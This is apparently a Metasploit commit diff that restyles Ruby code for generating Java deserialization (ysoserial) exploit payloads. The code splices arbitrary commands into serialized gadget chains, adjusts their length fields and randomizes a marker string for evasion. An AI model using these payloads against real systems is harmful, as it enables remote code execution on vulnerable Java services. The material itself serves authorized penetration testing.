Update code for Ruby coding style standards

GSoC/Meterpreter_Web_Console
Wei Chen 2019-01-15 17:08:54 -06:00
parent 72d3f6538e
commit 85555b81c4
2 changed files with 106 additions and 94 deletions

View File

@ -2,54 +2,54 @@ module Msf
module Util module Util
require 'json' require 'json'
require 'base64'
#TODO: Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none) # TODO:
# Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)
class JavaDeserialization class JavaDeserialization
PAYLOAD_FILENAME = "ysoserial_payloads.json" PAYLOAD_FILENAME = "ysoserial_payloads.json"
def self.ysoserial_payload(payloadName, command=nil) def self.ysoserial_payload(payload_name, command=nil)
# Open the JSON file and parse it # Open the JSON file and parse it
begin begin
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME) path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
json = JSON.parse(File.read(path)) json = JSON.parse(File.read(path))
rescue Errno::ENOENT rescue Errno::ENOENT, JSON::ParserError
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'" raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
end end
raise ArgumentError, "#{payloadName} payload not found in ysoserial payloads" if json[payloadName].nil? raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if json[payload_name].nil?
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes) # Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
payload = json[payloadName] payload = json[payload_name]
# Based on the status, we'll raise an exception, return a static payload, or # Based on the status, we'll raise an exception, return a static payload, or
# generate a dynamic payload with modifications at the specified offsets # generate a dynamic payload with modifications at the specified offsets
case payload['status'] case payload['status']
when "unsupported" when 'unsupported'
# This exception will occur most commonly with complex payloads that require more than a string # This exception will occur most commonly with complex payloads that require more than a string
raise ArgumentError, "ysoserial payload is unsupported" raise ArgumentError, 'ysoserial payload is unsupported'
when "static" when 'static'
#TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it # TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
return Base64.decode64(payload['bytes']) return Rex::Text.decode_base64(payload['bytes'])
when "dynamic" when 'dynamic'
raise ArgumentError, "missing command parameter" if command.nil? raise ArgumentError, 'missing command parameter' if command.nil?
bytes = Base64.decode64(payload['bytes']) bytes = Rex::Text.decode_base64(payload['bytes'])
# Insert buffer # Insert buffer
bufferOffset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers? buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
bytes[bufferOffset-1] += command bytes[buffer_offset - 1] += command
# Overwrite length (multiple times, if necessary) # Overwrite length (multiple times, if necessary)
lengthOffsets = payload['lengthOffset'] length_offsets = payload['lengthOffset']
lengthOffsets.each do |lengthOffset| length_offsets.each do |length_offset|
# Extract length as a 16-bit unsigned int, then add the length of the command string # Extract length as a 16-bit unsigned int, then add the length of the command string
length = bytes[lengthOffset-1..lengthOffset].unpack("n").first length = bytes[(length_offset-1)..length_offset].unpack('n').first
length += command.length.ord length += command.length.ord
length = [length].pack("n") length = [length].pack("n")
bytes[lengthOffset-1..lengthOffset] = length bytes[(length_offset-1)..length_offset] = length
end end
# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion # Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
@ -57,7 +57,7 @@ class JavaDeserialization
return bytes return bytes
else else
raise RuntimeError, "Malformed JSON file" raise RuntimeError, 'Malformed JSON file'
end end
end end
end end

View File

@ -5,62 +5,60 @@ require 'json'
require 'base64' require 'base64'
require 'open3' require 'open3'
YSOSERIAL_RANDOMIZED_HEADER = "ysoserial/Pwner" YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner'
PAYLOAD_TEST_MIN_LENGTH = 4 PAYLOAD_TEST_MIN_LENGTH = 4
PAYLOAD_TEST_MAX_LENGTH = 5 PAYLOAD_TEST_MAX_LENGTH = 5
#ARGV parsing # ARGV parsing
if ARGV.include?("-h") if ARGV.include?("-h")
puts "ysoserial object template generator" puts 'ysoserial object template generator'
puts puts
puts "Usage:" puts 'Usage:'
puts " -h Help" puts ' -h Help'
puts " -d Debug mode (output offset information only)" puts ' -d Debug mode (output offset information only)'
puts " -m [type] Use 'ysoserial-modified' with the specified payload type" puts " -m [type] Use 'ysoserial-modified' with the specified payload type"
puts puts
abort abort
end end
DEBUG=ARGV.include?("-d") debug = ARGV.include?('-d')
YSOSERIAL_MODIFIED=ARGV.include?("-m") ysoserial_modified = ARGV.include?('-m')
if YSOSERIAL_MODIFIED if ysoserial_modified
PAYLOAD_TYPE=ARGV[ARGV.find_index("-m")+1] payload_type = ARGV[ARGV.find_index('-m')+1]
unless ["cmd","bash","powershell","none"].include?(PAYLOAD_TYPE) unless ['cmd', 'bash', 'powershell', 'none'].include?(payload_type)
STDERR.puts "ERROR: Invalid payload type specified" STDERR.puts 'ERROR: Invalid payload type specified'
abort abort
end end
end end
def generatePayload(payloadName,searchStringLength) def generate_payload(payload_name,search_string_length)
#STDERR.puts " Generating #{payloadName} with length #{searchStringLength} using #{YSOSERIAL_BINARY}"
# Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload # Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload
searchString = 'A'*searchStringLength searchString = 'A' * search_string_length
# Build the command line with ysoserial parameters # Build the command line with ysoserial parameters
if YSOSERIAL_MODIFIED if ysoserial_modified
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-modified.jar',payloadName.to_s,PAYLOAD_TYPE.to_s,searchString.to_s) stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-modified.jar',payload_name.to_s,payload_type.to_s,searchString.to_s)
else else
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-original.jar',payloadName.to_s,searchString.to_s) stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-original.jar',payload_name.to_s,searchString.to_s)
end end
payload = stdout payload = stdout
payload.force_encoding("binary") payload.force_encoding('binary')
if payload.length==0 and stderr.length>0 if payload.length == 0 && stderr.length > 0
# Pipe errors out to the console # Pipe errors out to the console
STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")} STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")}
elsif stderr.include?"java.lang.IllegalArgumentException" elsif stderr.include? 'java.lang.IllegalArgumentException'
#STDERR.puts " WARNING: '#{payloadName}' requires complex args and may not be supported" #STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported"
return nil return nil
elsif stderr.include?"Error while generating or serializing payload" elsif stderr.include? 'Error while generating or serializing payload'
#STDERR.puts " WARNING: '#{payloadName}' errored and may not be supported" #STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported"
return nil return nil
elsif stdout == "\xac\xed\x00\x05\x70" elsif stdout == "\xac\xed\x00\x05\x70"
#STDERR.puts " WARNING: '#{payloadName}' returned null and may not be supported" #STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported"
return nil return nil
else else
#STDERR.puts " Successfully generated #{payloadName} using #{YSOSERIAL_BINARY}" #STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}"
# Strip out the semi-randomized ysoserial string and trailing newline # Strip out the semi-randomized ysoserial string and trailing newline
payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000') payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000')
@ -68,33 +66,36 @@ def generatePayload(payloadName,searchStringLength)
end end
end end
def generatePayloadArray(payloadName) def generate_payload_array(payload_name)
# Generate and return a number of payloads, each with increasingly longer strings, for future comparison # Generate and return a number of payloads, each with increasingly longer strings, for future comparison
payloadArray = [] payload_array = []
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i| (PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
payload = generatePayload(payloadName,i) payload = generate_payload(payload_name,i)
return nil if payload.nil? return nil if payload.nil?
payloadArray[i] = payload payload_array[i] = payload
end end
return payloadArray
payload_array
end end
def isLengthOffset?(currByte,nextByte) def isLengthOffset?(current_byte, next_byte)
# If this byte has been changed, and is different by one, then it must be a length value # If this byte has been changed, and is different by one, then it must be a length value
if nextByte and currByte.position == nextByte.position and currByte.action == "-" if next_byte && current_byte.position == next_byte.position && current_byte.action == "-"
if nextByte.element.ord - currByte.element.ord == 1 if next_byte.element.ord - current_byte.element.ord == 1
return true return true
end end
end end
return false
false
end end
def isBufferOffset?(currByte,nextByte) def isBufferOffset?(current_byte, next_byte)
# If this byte has been inserted, then it must be part of the increasingly large payload buffer # If this byte has been inserted, then it must be part of the increasingly large payload buffer
if (currByte.action == "+" and (nextByte.nil? or (currByte.position != nextByte.position))) if (current_byte.action == '+' && (next_byte.nil? || (current_byte.position != next_byte.position)))
return true return true
end end
return false
false
end end
def diff(a,b) def diff(a,b)
@ -107,86 +108,97 @@ def diff(a,b)
diffs.push(j) diffs.push(j)
end end
end end
return diffs
diffs
end end
def getPayloadList def get_payload_list
# Call ysoserial and return the list of payloads that can be generated # Call ysoserial and return the list of payloads that can be generated
payloads = `java -jar ysoserial-original.jar 2>&1` payloads = `java -jar ysoserial-original.jar 2>&1`
payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '') payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')
payloads = payloads.split("\n") payloads = payloads.split("\n")
# Make sure the headers are intact, then skip over them # Make sure the headers are intact, then skip over them
abort unless payloads[0] == "Y SO SERIAL?" abort unless payloads[0] == 'Y SO SERIAL?'
payloads = payloads.drop(5) payloads = payloads.drop(5)
payloadList = [] payloadList = []
payloads.each do |line| payloads.each do |line|
# Skip the header rows # Skip the header rows
next unless line.start_with?" " next unless line.start_with? " "
payloadList.push(line.scan(/^ ([^ ]*) .*/).first.last) payloadList.push(line.scan(/^ ([^ ]*) .*/).first.last)
end end
return payloadList
payloadList
end end
results = {} results = {}
payloadList = getPayloadList payloadList = get_payload_list
payloadList.each do |payload| payloadList.each do |payload|
STDERR.puts "Generating payloads for #{payload}..." STDERR.puts "Generating payloads for #{payload}..."
emptyPayload = generatePayload(payload,0) empty_payload = generate_payload(payload,0)
if emptyPayload.nil? if empty_payload.nil?
STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported" STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported"
results[payload]={"status": "unsupported"} results[payload]={"status": "unsupported"}
next next
end end
payloadArray = generatePayloadArray(payload) payload_array = generate_payload_array(payload)
lengthOffsets = [] length_offsets = []
bufferOffsets = [] buffer_offsets = []
# Comparing diffs of various payload lengths to find length and buffer offsets # Comparing diffs of various payload lengths to find length and buffer offsets
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i| (PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
# Compare this binary with the next one # Compare this binary with the next one
diffs = diff(payloadArray[i],payloadArray[i+1]) diffs = diff(payload_array[i],payload_array[i+1])
break if diffs.nil? break if diffs.nil?
# Iterate through each diff, searching for offsets of the length and the payload # Iterate through each diff, searching for offsets of the length and the payload
(0..diffs.length-1).each do |j| (0..diffs.length-1).each do |j|
currByte = diffs[j] current_byte = diffs[j]
nextByte = diffs[j+1] next_byte = diffs[j+1]
prevByte = diffs[j-1] prevByte = diffs[j-1]
if j>0 if j > 0
# Skip this if we compared these two bytes on the previous iteration # Skip this if we compared these two bytes on the previous iteration
next if prevByte.position == currByte.position next if prevByte.position == current_byte.position
end end
# Compare this byte and the following byte to identify length and buffer offsets # Compare this byte and the following byte to identify length and buffer offsets
lengthOffsets.push(currByte.position) if isLengthOffset?(currByte,nextByte) length_offsets.push(current_byte.position) if isLengthOffset?(current_byte,next_byte)
bufferOffsets.push(currByte.position) if isBufferOffset?(currByte,nextByte) buffer_offsets.push(current_byte.position) if isBufferOffset?(current_byte,next_byte)
end end
end end
if DEBUG if debug
for lengthOffset in lengthOffsets for length_offset in length_offsets
STDERR.puts " LENGTH OFFSET #{lengthOffset} = 0x#{emptyPayload[lengthOffset-1].ord.to_s(16)} #{emptyPayload[lengthOffset].ord.to_s(16)}" STDERR.puts " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset-1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}"
end end
for bufferOffset in bufferOffsets
STDERR.puts " BUFFER OFFSET #{bufferOffset}" for buffer_offset in buffer_offsets
STDERR.puts " BUFFER OFFSET #{buffer_offset}"
end end
STDERR.puts " PAYLOAD LENGTH: #{emptyPayload.length}" STDERR.puts " PAYLOAD LENGTH: #{empty_payload.length}"
end end
payloadBytes = Base64.strict_encode64(emptyPayload).gsub(/\n/,"") payloadBytes = Base64.strict_encode64(empty_payload).gsub(/\n/,"")
if bufferOffsets.length > 0 if buffer_offsets.length > 0
results[payload]={"status": "dynamic", "lengthOffset": lengthOffsets.uniq, "bufferOffset": bufferOffsets.uniq, "bytes": payloadBytes } results[payload] = {
'status': 'dynamic',
'lengthOffset': length_offsets.uniq,
'bufferOffset': buffer_offsets.uniq,
'bytes': payloadBytes
}
else else
#TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this. #TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this.
results[payload]={"status": "static", "bytes": payloadBytes } results[payload] = {
'status': 'static',
'bytes': payloadBytes
}
end end
end end
@ -196,16 +208,16 @@ payloadCount['static'] = 0
payloadCount['dynamic'] = 0 payloadCount['dynamic'] = 0
results.each do |k,v| results.each do |k,v|
if v[:status] == "unsupported" if v[:status] == 'unsupported'
payloadCount['skipped'] += 1 payloadCount['skipped'] += 1
elsif v[:status] == "static" elsif v[:status] == 'static'
payloadCount['static'] += 1 payloadCount['static'] += 1
elsif v[:status] == "dynamic" elsif v[:status] == 'dynamic'
payloadCount['dynamic'] += 1 payloadCount['dynamic'] += 1
end end
end end
unless DEBUG unless debug
puts JSON.generate(results) puts JSON.generate(results)
end end